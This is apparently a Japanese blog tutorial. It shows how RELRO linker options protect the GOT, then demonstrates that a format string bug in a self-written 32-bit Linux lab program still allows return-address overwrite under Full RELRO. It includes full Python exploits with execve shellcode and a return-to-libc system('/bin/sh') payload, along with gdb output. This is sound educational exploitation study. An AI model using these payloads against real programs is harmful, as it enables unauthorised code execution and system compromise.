RELROとformat string attackによるリターンアドレス書き換え
一つ前のエントリでは、format string attackでGOTに書かれたアドレスの書き換えを行ったが、RELRO (RELocation Read-Only) と呼ばれるセキュリティ機構を完全に有効にすることでGOTを書き換えられないようにできる。 ここでは、RELROに関連するリンカオプションの動作について簡単に確認し、RELROが完全に有効な状態でもリターンアドレスの書き換えによるシェル起動は可能であることを確認してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
バッファサイズ200でformat string bugのあるコードを書く。
/* fsb.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[200]; printf("[+] buf = %p\n", buf); strncpy(buf, argv[1], 200); printf(buf); putchar('\n'); return 0; }
RELROの設定を変えてリンクしてみる
gccでコンパイルする際に、-Wl
オプションを使うとリンカ(ld)に渡すオプションを指定することができる。
$ man gcc Options for Linking -Wl,option Pass option as an option to the linker. If option contains commas, it is split into multiple options at the commas. You can use this syntax to pass an argument to the option. For example, -Wl,-Map,output.map passes -Map output.map to the linker. When using the GNU linker, you can also get the same effect with -Wl,-Map=output.map. NOTE: In Ubuntu 8.10 and later versions, for LDFLAGS, the option -Wl,-z,relro is used. To disable, use -Wl,-z,norelro.
RELROおよび関数呼び出し時のジャンプ先アドレスのバインド方法に関するオプションは下記の通り。
$ man ld -z keyword norelro Don't create an ELF "PT_GNU_RELRO" segment header in the object. relro Create an ELF "PT_GNU_RELRO" segment header in the object. lazy When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default. now When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is linked to using dlopen, instead of deferring function call resolution to the point when the function is first called.
今回準備した環境では、デフォルトではrelroとlazyが指定された状態でリンクされる。 lazyが指定されたとき、関数呼び出し時のジャンプ先アドレスは一つ前のエントリで説明したように初回の関数呼び出し時に解決される。 この仕組みは遅延バインド(lazy binding)と呼ばれる。
まずは、RELRO無効でコンパイル・リンク(‘-z,norelro‘)し、gdbでセクションヘッダの内容と実行時のメモリ配置を確認してみる。
$ gcc -Wl,-z,norelro fsb.c fsb.c: In function ‘main’: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ gdb -q a.out Reading symbols from /home/user/tmp/exploit/relro/a.out...(no debugging symbols found)...done. (gdb) i files Symbols from "/home/user/tmp/exploit/relro/a.out". Local exec file: `/home/user/tmp/exploit/relro/a.out', file type elf32-i386. Entry point: 0x80483c0 0x08048134 - 0x08048147 is .interp 0x08048148 - 0x08048168 is .note.ABI-tag 0x08048168 - 0x0804818c is .note.gnu.build-id 0x0804818c - 0x080481ac is .gnu.hash 0x080481ac - 0x0804822c is .dynsym 0x0804822c - 0x080482a3 is .dynstr 0x080482a4 - 0x080482b4 is .gnu.version 0x080482b4 - 0x080482e4 is .gnu.version_r 0x080482e4 - 0x080482ec is .rel.dyn 0x080482ec - 0x0804831c is .rel.plt 0x0804831c - 0x0804834a is .init 0x08048350 - 0x080483c0 is .plt 0x080483c0 - 0x080485ac is .text 0x080485ac - 0x080485c6 is .fini 0x080485c8 - 0x080485de is .rodata 0x080485e0 - 0x08048614 is .eh_frame_hdr 0x08048614 - 0x080486d8 is .eh_frame 0x080496d8 - 0x080496e0 is .ctors 0x080496e0 - 0x080496e8 is .dtors 0x080496e8 - 0x080496ec is .jcr 0x080496ec - 0x080497b4 is .dynamic 0x080497b4 - 0x080497b8 is .got 0x080497b8 - 0x080497dc is .got.plt 0x080497dc - 0x080497e4 is .data 0x080497e4 - 0x080497ec is .bss (gdb) start Temporary breakpoint 1 at 0x8048477 Starting program: /home/user/tmp/exploit/relro/a.out Temporary breakpoint 1, 0x08048477 in main () (gdb) i proc process 6037 cmdline = '/home/user/tmp/exploit/relro/a.out' cwd = '/home/user/tmp/exploit/relro' exe = '/home/user/tmp/exploit/relro/a.out' (gdb) shell cat /proc/6037/maps 08048000-08049000 r-xp 00000000 08:01 1966216 /home/user/tmp/exploit/relro/a.out 08049000-0804a000 rw-p 00000000 08:01 1966216 /home/user/tmp/exploit/relro/a.out b7e2b000-b7e2c000 rw-p 00000000 00:00 0 b7e2c000-b7fd0000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd0000-b7fd2000 r--p 001a4000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd3000-b7fd6000 rw-p 00000000 00:00 0 b7fdc000-b7fde000 rw-p 00000000 00:00 0 b7fde000-b7ffe000 r-xp 00000000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] (gdb) q A debugging session is active. Inferior 1 [process 6037] will be killed. Quit anyway? (y or n) y
.interpから.eh_frameまでがr-xp
、つまり書き換え不可・実行可、.ctorsから.bssまでがrw-p
、つまり書き換え可・実行不可になっていることがわかる。
次に、RELRO有効、遅延バインド有効でコンパイル・リンク(‘-z,relro‘)し、同じように調べてみる。
$ gcc -Wl,-z,relro fsb.c fsb.c: In function ‘main’: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ gdb -q a.out Reading symbols from /home/user/tmp/exploit/relro/a.out...(no debugging symbols found)...done. (gdb) i files Symbols from "/home/user/tmp/exploit/relro/a.out". Local exec file: `/home/user/tmp/exploit/relro/a.out', file type elf32-i386. Entry point: 0x80483e0 0x08048154 - 0x08048167 is .interp 0x08048168 - 0x08048188 is .note.ABI-tag 0x08048188 - 0x080481ac is .note.gnu.build-id 0x080481ac - 0x080481cc is .gnu.hash 0x080481cc - 0x0804824c is .dynsym 0x0804824c - 0x080482c3 is .dynstr 0x080482c4 - 0x080482d4 is .gnu.version 0x080482d4 - 0x08048304 is .gnu.version_r 0x08048304 - 0x0804830c is .rel.dyn 0x0804830c - 0x0804833c is .rel.plt 0x0804833c - 0x0804836a is .init 0x08048370 - 0x080483e0 is .plt 0x080483e0 - 0x080485cc is .text 0x080485cc - 0x080485e6 is .fini 0x080485e8 - 0x080485fe is .rodata 0x08048600 - 0x08048634 is .eh_frame_hdr 0x08048634 - 0x080486f8 is .eh_frame 0x08049f14 - 0x08049f1c is .ctors 0x08049f1c - 0x08049f24 is .dtors 0x08049f24 - 0x08049f28 is .jcr 0x08049f28 - 0x08049ff0 is .dynamic 0x08049ff0 - 0x08049ff4 is .got 0x08049ff4 - 0x0804a018 is .got.plt 0x0804a018 - 0x0804a020 is .data 0x0804a020 - 0x0804a028 is .bss (gdb) start AAAA Temporary breakpoint 1 at 0x8048497 Starting program: /home/user/tmp/exploit/relro/a.out AAAA Temporary breakpoint 1, 0x08048497 in main () (gdb) i proc process 6167 warning: target file /proc/6167/cmdline contained unexpected null characters cmdline = '/home/user/tmp/exploit/relro/a.out' cwd = '/home/user/tmp/exploit/relro' exe = '/home/user/tmp/exploit/relro/a.out' (gdb) shell cat /proc/6167/maps 08048000-08049000 r-xp 00000000 08:01 1966216 /home/user/tmp/exploit/relro/a.out 08049000-0804a000 r--p 00000000 08:01 1966216 /home/user/tmp/exploit/relro/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966216 /home/user/tmp/exploit/relro/a.out b7e2b000-b7e2c000 rw-p 00000000 00:00 0 b7e2c000-b7fd0000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd0000-b7fd2000 r--p 001a4000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd3000-b7fd6000 rw-p 00000000 00:00 0 b7fdc000-b7fde000 rw-p 00000000 00:00 0 b7fde000-b7ffe000 r-xp 00000000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] (gdb) x/20xw 0x0804a000 0x804a000 <printf@got.plt>: 0x08048386 0x08048396 0x080483a6 0xb7e453e0 0x804a010 <putchar@got.plt>: 0x080483c6 0x080483d6 0x00000000 0x00000000 0x804a020 <completed.6159>: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) quit A debugging session is active. Inferior 1 [process 6167] will be killed. Quit anyway? (y or n) y
.ctorsから.got.pltの途中までがr--p
、つまり書き換え不可になっている。
さらに、.got.pltのうち実際のジャンプ先アドレスが書かれたところから書き換え可になっていることがわかる。
つまり一つ前のエントリで確認したように、この状態ではまだGOTの書き換えは可能である。
最後に、RELRO有効かつ遅延バインド無効でコンパイル・リンク(‘-z,relro,-z,now‘)し、同じことを調べてみる。
$ gcc -Wl,-z,relro,-z,now fsb.c fsb.c: In function ‘main’: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ gdb -q a.out Reading symbols from /home/user/tmp/exploit/relro/a.out...(no debugging symbols found)...done. (gdb) i files Symbols from "/home/user/tmp/exploit/relro/a.out". Local exec file: `/home/user/tmp/exploit/relro/a.out', file type elf32-i386. Entry point: 0x80483e0 0x08048154 - 0x08048167 is .interp 0x08048168 - 0x08048188 is .note.ABI-tag 0x08048188 - 0x080481ac is .note.gnu.build-id 0x080481ac - 0x080481cc is .gnu.hash 0x080481cc - 0x0804824c is .dynsym 0x0804824c - 0x080482c3 is .dynstr 0x080482c4 - 0x080482d4 is .gnu.version 0x080482d4 - 0x08048304 is .gnu.version_r 0x08048304 - 0x0804830c is .rel.dyn 0x0804830c - 0x0804833c is .rel.plt 0x0804833c - 0x0804836a is .init 0x08048370 - 0x080483e0 is .plt 0x080483e0 - 0x080485cc is .text 0x080485cc - 0x080485e6 is .fini 0x080485e8 - 0x080485fe is .rodata 0x08048600 - 0x08048634 is .eh_frame_hdr 0x08048634 - 0x080486f8 is .eh_frame 0x08049eec - 0x08049ef4 is .ctors 0x08049ef4 - 0x08049efc is .dtors 0x08049efc - 0x08049f00 is .jcr 0x08049f00 - 0x08049fd8 is .dynamic 0x08049fd8 - 0x0804a000 is .got 0x0804a000 - 0x0804a008 is .data 0x0804a008 - 0x0804a010 is .bss (gdb) start AAAA Temporary breakpoint 1 at 0x8048497 Starting program: /home/user/tmp/exploit/relro/a.out AAAA Temporary breakpoint 1, 0x08048497 in main () (gdb) i proc process 6190 warning: target file /proc/6190/cmdline contained unexpected null characters cmdline = '/home/user/tmp/exploit/relro/a.out' cwd = '/home/user/tmp/exploit/relro' exe = '/home/user/tmp/exploit/relro/a.out' (gdb) shell cat /proc/6190/maps 08048000-08049000 r-xp 00000000 08:01 1966216 /home/user/tmp/exploit/relro/a.out 08049000-0804a000 r--p 00000000 08:01 1966216 /home/user/tmp/exploit/relro/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966216 /home/user/tmp/exploit/relro/a.out b7e2b000-b7e2c000 rw-p 00000000 00:00 0 b7e2c000-b7fd0000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd0000-b7fd2000 r--p 001a4000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd3000-b7fd6000 rw-p 00000000 00:00 0 b7fdc000-b7fde000 rw-p 00000000 00:00 0 b7fde000-b7ffe000 r-xp 00000000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] (gdb) x/20xw 0x0804a000 0x804a000 <data_start>: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000
.got.pltセクションがなくなり、.ctorsから.gotまですべてr--p
、つまり書き換え不可になっていることがわかる。
実際書き換え可能になっているアドレスの先頭を調べてみると、.dataセクションの先頭になっている。
ここで、.pltセクションのコードがどうなっているか、さらに調べてみる。
(gdb) x/10i 0x08048370 0x8048370: push DWORD PTR ds:0x8049fdc 0x8048376: jmp DWORD PTR ds:0x8049fe0 0x804837c: add BYTE PTR [eax],al 0x804837e: add BYTE PTR [eax],al 0x8048380 <printf@plt>: jmp DWORD PTR ds:0x8049fe4 0x8048386 <printf@plt+6>: push 0x0 0x804838b <printf@plt+11>: jmp 0x8048370 0x8048390 <__stack_chk_fail@plt>: jmp DWORD PTR ds:0x8049fe8 0x8048396 <__stack_chk_fail@plt+6>: push 0x8 0x804839b <__stack_chk_fail@plt+11>: jmp 0x8048370 (gdb) x/wx 0x8049fe4 0x8049fe4 <_GLOBAL_OFFSET_TABLE_+12>: 0xb7e78ed0 (gdb) disas *0x8049fe4 Dump of assembler code for function printf: 0xb7e78ed0 <+0>: push ebx 0xb7e78ed1 <+1>: sub esp,0x18 0xb7e78ed4 <+4>: call 0xb7f57d53 0xb7e78ed9 <+9>: add ebx,0x15911b 0xb7e78edf <+15>: lea eax,[esp+0x24] 0xb7e78ee3 <+19>: mov DWORD PTR [esp+0x8],eax 0xb7e78ee7 <+23>: mov eax,DWORD PTR [esp+0x20] 0xb7e78eeb <+27>: mov DWORD PTR [esp+0x4],eax 0xb7e78eef <+31>: mov eax,DWORD PTR [ebx-0x7c] 0xb7e78ef5 <+37>: mov eax,DWORD PTR [eax] 0xb7e78ef7 <+39>: mov DWORD PTR [esp],eax 0xb7e78efa <+42>: call 0xb7e6eab0 <vfprintf> 0xb7e78eff <+47>: add esp,0x18 0xb7e78f02 <+50>: pop ebx 0xb7e78f03 <+51>: ret End of assembler dump. (gdb) quit A debugging session is active. Inferior 1 [process 6190] will be killed. Quit anyway? (y or n) y
これより、遅延バインド有効のとき.got.plt内のアドレスを指していた部分が.got内のアドレスを指すようになっており、そこに書かれたアドレスは実際に呼び出されるライブラリ関数のアドレスになっている。 そして上で調べたように.gotは書き換え不可であるから、GOTの書き換えはできなくなっている。
以上のことから、遅延バインド有効な場合のRELROはPartial RELRO、遅延バインド無効な場合のRELROはFull RELROと呼ばれることがある。
glibcの場合、readelfコマンドやobjdumpコマンドで調べたとき、プログラムヘッダにGNU_RELRO
があればRELRO有効、Dynamic sectionにBIND_NOW
があれば遅延バインド無効となっている。
$ readelf -a a.out Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align ... GNU_RELRO 0x000eec 0x08049eec 0x08049eec 0x00114 0x00114 R 0x1 Dynamic section at offset 0xf00 contains 22 entries: Tag Type Name/Value ... 0x00000018 (BIND_NOW) ... $ objdump -x a.out Program Header: ... RELRO off 0x00000eec vaddr 0x08049eec paddr 0x08049eec align 2**0 filesz 0x00000114 memsz 0x00000114 flags r-- Dynamic Section: ... BIND_NOW 0x00000000 ...
エクスプロイトコードを書いてみる
上で確認したように、Full RELROな実行ファイルに対してGOT overwriteはできないが、スタックにある関数からのリターンアドレスの書き換えは依然可能である。 これを確認するために、リターンアドレスをスタック上のシェルコードに書き換えるエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen addr_buf = int(sys.argv[1], 16) offset_retaddr = int(sys.argv[2], 16) index = int(sys.argv[3]) addr_retaddr = addr_buf + offset_retaddr shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" buf = struct.pack('<I', addr_retaddr) buf += struct.pack('<I', addr_retaddr+1) buf += struct.pack('<I', addr_retaddr+2) buf += struct.pack('<I', addr_retaddr+3) buf += shellcode a = map(ord, struct.pack('<I', addr_buf + 16)) a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
このコードはバッファの先頭アドレス、バッファの先頭アドレスからリターンアドレスまでのオフセット、フォーマット文字列までのオフセットを順に引数に取る。
ASLR、DEP無効、SSP有効かつFull RELROでコンパイルし、実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -Wl,-z,relro,-z,now -z execstack fsb.c fsb.c: In function ‘main’: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ ./a.out 'AAAA%9$08x' [+] buf = 0xbffff694 AAAA41414141
このとき、バッファの先頭アドレスは0xbffff694、フォーマット文字列までのオフセットは9である。 さらに、バッファの先頭アドレスからリターンアドレスまでのオフセットをgdbで調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: and esp,0xfffffff0 0x0804849a <+6>: sub esp,0xf0 0x080484a0 <+12>: mov eax,DWORD PTR [ebp+0xc] 0x080484a3 <+15>: mov DWORD PTR [esp+0x1c],eax 0x080484a7 <+19>: mov eax,gs:0x14 0x080484ad <+25>: mov DWORD PTR [esp+0xec],eax 0x080484b4 <+32>: xor eax,eax 0x080484b6 <+34>: mov eax,0x80485f0 0x080484bb <+39>: lea edx,[esp+0x24] 0x080484bf <+43>: mov DWORD PTR [esp+0x4],edx 0x080484c3 <+47>: mov DWORD PTR [esp],eax 0x080484c6 <+50>: call 0x8048380 <printf@plt> 0x080484cb <+55>: mov eax,DWORD PTR [esp+0x1c] 0x080484cf <+59>: add eax,0x4 0x080484d2 <+62>: mov eax,DWORD PTR [eax] 0x080484d4 <+64>: mov DWORD PTR [esp+0x8],0xc8 0x080484dc <+72>: mov DWORD PTR [esp+0x4],eax 0x080484e0 <+76>: lea eax,[esp+0x24] 0x080484e4 <+80>: mov DWORD PTR [esp],eax 0x080484e7 <+83>: call 0x80483d0 <strncpy@plt> 0x080484ec <+88>: lea eax,[esp+0x24] 0x080484f0 <+92>: mov DWORD PTR [esp],eax 0x080484f3 <+95>: call 0x8048380 <printf@plt> 0x080484f8 <+100>: mov DWORD PTR [esp],0xa 0x080484ff <+107>: call 0x80483c0 <putchar@plt> 0x08048504 <+112>: mov eax,0x0 0x08048509 <+117>: mov edx,DWORD PTR [esp+0xec] 0x08048510 <+124>: xor edx,DWORD PTR gs:0x14 0x08048517 <+131>: je 0x804851e <main+138> 0x08048519 <+133>: call 0x8048390 <__stack_chk_fail@plt> 0x0804851e <+138>: leave 0x0804851f <+139>: ret End of assembler dump. (gdb) b *main+95 Breakpoint 1 at 0x80484f3 (gdb) b *main+139 Breakpoint 2 at 0x804851f (gdb) run AAAA Starting program: /home/user/tmp/exploit/relro/a.out AAAA [+] buf = 0xbffff664 Breakpoint 1, 0x080484f3 in main () (gdb) x/100xw $esp 0xbffff640: 0xbffff664 0xbffff909 0x000000c8 0xb7ec47be 0xbffff650: 0xbffff688 0xb7f89920 0x00000044 0xbffff7d4 0xbffff660: 0xb7ec4590 0x41414141 0x00000000 0x00000000 0xbffff670: 0x00000000 0x00000000 0x00000000 0x00000000 ... 0xbffff730: 0x08048520 0x00000000 0x00000000 0xb7e454d3 ... (gdb) c Continuing. AAAA Breakpoint 2, 0x0804851f in main () (gdb) ni 0xb7e454d3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 (gdb) p/x 0xbffff73c-0xbffff664 $1 = 0xd8 (gdb) quit A debugging session is active. Inferior 1 [process 6753] will be killed. Quit anyway? (y or n) y
バッファの先頭アドレスからリターンアドレスまでのオフセットは0xd8であることがわかる。 以上をもとに、エクスプロイトコードを実行してみる。
$ python exploit.py 0xbffff694 0xd8 9 [+] buf = 0xbffff644 (snip) $ python exploit.py 0xbffff644 0xd8 9 [+] buf = 0xbffff644 (snip) $ id uid=1000(user) gid=1000(user) groups=1000(user) $
Full RELROな実行ファイルに対して、スタック上のシェルコードにジャンプさせることでシェルが起動することが確認できた。
DEPが有効な場合
上の例ではDEPを無効にしてスタック上のシェルコードにジャンプさせたが、DEPが有効な場合でもReturn-to-libcによりシェルを起動させることができる。 リターンアドレスをsystem関数のアドレスに書き換え、その引数に"/bin/sh"のアドレスをセットするエクスプロイトコードを書くと次のようになる。
# exploit2.py import sys import struct from subprocess import Popen addr_buf = int(sys.argv[1], 16) offset_retaddr = int(sys.argv[2], 16) libc_base = int(sys.argv[3], 16) index = int(sys.argv[4]) offset_system = 0x0003f430 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep system offset_binsh = 0x161d98 # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' addr_retaddr = addr_buf + offset_retaddr buf = struct.pack('<I', addr_retaddr) buf += struct.pack('<I', addr_retaddr+1) buf += struct.pack('<I', addr_retaddr+2) buf += struct.pack('<I', addr_retaddr+3) buf += struct.pack('<I', addr_retaddr+8) buf += struct.pack('<I', addr_retaddr+9) buf += struct.pack('<I', addr_retaddr+10) buf += struct.pack('<I', addr_retaddr+11) b = map(ord, struct.pack('<I', libc_base + offset_binsh)) a = map(ord, struct.pack('<I', libc_base + offset_system)) b[3] = ((b[3]-b[2]-1) % 0x100) + 1 b[2] = ((b[2]-b[1]-1) % 0x100) + 1 b[1] = ((b[1]-b[0]-1) % 0x100) + 1 b[0] = ((b[0]-a[3]-1) % 0x100) + 1 a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) buf += "%%%dc%%%d$hhn" % (b[0], index+4) buf += "%%%dc%%%d$hhn" % (b[1], index+5) buf += "%%%dc%%%d$hhn" % (b[2], index+6) buf += "%%%dc%%%d$hhn" % (b[3], index+7) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
このコードはバッファの先頭アドレス、バッファの先頭アドレスからリターンアドレスまでのオフセット、libcのベースアドレス、フォーマット文字列までのオフセットを順に引数に取る。
ASLR無効、DEP、SSP有効かつFull RELROでコンパイルする。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -Wl,-z,relro,-z,now fsb.c fsb.c: In function ‘main’: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ ./a.out 'AAAA%9$08x' [+] buf = 0xbffff694 AAAA41414141
上の例と同様、バッファの先頭アドレスは0xbffff694、フォーマット文字列までのオフセットは9である。 さらに、バッファの先頭アドレスからリターンアドレスまでのオフセットとlibcのベースアドレスをgdbで調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: and esp,0xfffffff0 0x0804849a <+6>: sub esp,0xf0 0x080484a0 <+12>: mov eax,DWORD PTR [ebp+0xc] 0x080484a3 <+15>: mov DWORD PTR [esp+0x1c],eax 0x080484a7 <+19>: mov eax,gs:0x14 0x080484ad <+25>: mov DWORD PTR [esp+0xec],eax 0x080484b4 <+32>: xor eax,eax 0x080484b6 <+34>: mov eax,0x80485f0 0x080484bb <+39>: lea edx,[esp+0x24] 0x080484bf <+43>: mov DWORD PTR [esp+0x4],edx 0x080484c3 <+47>: mov DWORD PTR [esp],eax 0x080484c6 <+50>: call 0x8048380 <printf@plt> 0x080484cb <+55>: mov eax,DWORD PTR [esp+0x1c] 0x080484cf <+59>: add eax,0x4 0x080484d2 <+62>: mov eax,DWORD PTR [eax] 0x080484d4 <+64>: mov DWORD PTR [esp+0x8],0xc8 0x080484dc <+72>: mov DWORD PTR [esp+0x4],eax 0x080484e0 <+76>: lea eax,[esp+0x24] 0x080484e4 <+80>: mov DWORD PTR [esp],eax 0x080484e7 <+83>: call 0x80483d0 <strncpy@plt> 0x080484ec <+88>: lea eax,[esp+0x24] 0x080484f0 <+92>: mov DWORD PTR [esp],eax 0x080484f3 <+95>: call 0x8048380 <printf@plt> 0x080484f8 <+100>: mov DWORD PTR [esp],0xa 0x080484ff <+107>: call 0x80483c0 <putchar@plt> 0x08048504 <+112>: mov eax,0x0 0x08048509 <+117>: mov edx,DWORD PTR [esp+0xec] 0x08048510 <+124>: xor edx,DWORD PTR gs:0x14 0x08048517 <+131>: je 0x804851e <main+138> 0x08048519 <+133>: call 0x8048390 <__stack_chk_fail@plt> 0x0804851e <+138>: leave 0x0804851f <+139>: ret End of assembler dump. (gdb) b *main+95 Breakpoint 1 at 0x80484f3 (gdb) b *main+139 Breakpoint 2 at 0x804851f (gdb) run AAAA Starting program: /home/user/tmp/exploit/relro/a.out AAAA [+] buf = 0xbffff664 Breakpoint 1, 0x080484f3 in main () (gdb) i proc map process 7220 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/exploit/relro/a.out 0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/exploit/relro/a.out 0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/exploit/relro/a.out 0xb7e2b000 0xb7e2c000 0x1000 0x0 0xb7e2c000 0xb7fd0000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb7fd0000 0xb7fd2000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fd2000 0xb7fd3000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fd3000 0xb7fd6000 0x3000 0x0 0xb7fdb000 0xb7fde000 0x3000 0x0 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so 0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so 0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] (gdb) x/100xw $esp 0xbffff640: 0xbffff664 0xbffff909 0x000000c8 0xb7ec47be 0xbffff650: 0xbffff688 0xb7f89920 0x00000044 0xbffff7d4 0xbffff660: 0xb7ec4590 0x41414141 0x00000000 0x00000000 0xbffff670: 0x00000000 0x00000000 0x00000000 0x00000000 ... 0xbffff730: 0x08048520 0x00000000 0x00000000 0xb7e454d3 ... (gdb) c Continuing. AAAA Breakpoint 2, 0x0804851f in main () (gdb) ni 0xb7e454d3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 (gdb) p/x 0xbffff73c-0xbffff664 $1 = 0xd8 (gdb) quit A debugging session is active. Inferior 1 [process 7220] will be killed. Quit anyway? (y or n) y
バッファの先頭アドレスからリターンアドレスまでのオフセットは0xd8、さらにi proc map
の結果からlibcのベースアドレスが0xb7e2c000であることがわかる。
以上をもとに、エクスプロイトコードを実行してみる。
$ python exploit2.py 0xbffff694 0xd8 0xb7e2c000 9 [+] buf = 0xbffff624 (snip) $ python exploit2.py 0xbffff624 0xd8 0xb7e2c000 9 [+] buf = 0xbffff624 (snip) $ id uid=1000(user) gid=1000(user) groups=1000(user) $
Full RELROかつDEPが有効でも、Return-to-libcによりシェルが起動できることが確認できた。